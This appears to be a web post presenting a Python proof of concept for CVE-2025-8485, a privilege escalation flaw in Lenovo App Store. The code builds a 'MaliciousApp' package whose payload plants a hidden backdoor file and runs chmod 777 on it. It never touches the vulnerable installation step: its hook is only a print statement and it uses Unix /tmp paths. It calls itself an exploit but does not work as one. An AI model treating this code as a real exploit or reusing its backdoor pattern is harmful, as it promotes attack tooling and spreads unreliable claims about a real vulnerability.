An improper permissions vulnerability was reported in Lenovo App Store that could allow a local authenticated user to execute code with elevated privileges during installation of an application.
The following code is for security research and authorized testing only.
python
# CVE-2025-8485 PoC - Lenovo App Store Privilege Escalation
# This is a conceptual PoC demonstrating the attack vector
# Note: This code is for educational and security research purposes only
import os
import sys
import time
import subprocess
import threading
class LenovoAppStoreExploit:
def __init__(self):
self.exploit_code = '''
# Malicious payload to be executed during app installation
import os
import sys
# Attempt to execute code with elevated privileges
def payload():
try:
# Add malicious operations here
# For demonstration: Create a backdoor
backdoor_path = "/tmp/.hidden_backdoor"
with open(backdoor_path, "w") as f:
f.write("Backdoor created via CVE-2025-8485")
# Execute system commands with elevated privileges
os.system("chmod 777 " + backdoor_path)
print("Privilege escalation successful")
except Exception as e:
print(f"Exploit failed: {e}")
payload()
'''
def create_malicious_app(self, output_path):
"""Create a malicious app package that exploits the vulnerability"""
malicious_manifest = {
"app_name": "MaliciousApp",
"version": "1.0.0",
"permissions": ["*"],
"exploit_trigger": "installation_phase"
}
with open(os.path.join(output_path, "manifest.json"), "w") as f:
f.write(str(malicious_manifest))
with open(os.path.join(output_path, "exploit.py"), "w") as f:
f.write(self.exploit_code)
print(f"Malicious app created in: {output_path}")
def monitor_installation(self):
"""Monitor Lenovo App Store installation process"""
print("Monitoring Lenovo App Store installation...")
# In real attack, this would hook into the installation process
# to inject and execute code during the vulnerable phase
def exploit(self):
"""Execute the privilege escalation exploit"""
print("=" * 60)
print("CVE-2025-8485 Lenovo App Store Exploit")
print("Target: Lenovo App Store - Improper Permissions during installation")
print("CVSS: 7.3 (High)")
print("=" * 60)
temp_dir = "/tmp/lenovo_exploit"
os.makedirs(temp_dir, exist_ok=True)
self.create_malicious_app(temp_dir)
self.monitor_installation()
print("\n[!] This is a conceptual demonstration.")
print("[!] Actual exploitation requires specific conditions:")
print(" - Local access to the target system")
print(" - Valid user credentials for Lenovo App Store")
print(" - User interaction to initiate app installation")
print("\n[+] Exploit package prepared successfully")
if __name__ == "__main__":
exploit = LenovoAppStoreExploit()
exploit.exploit()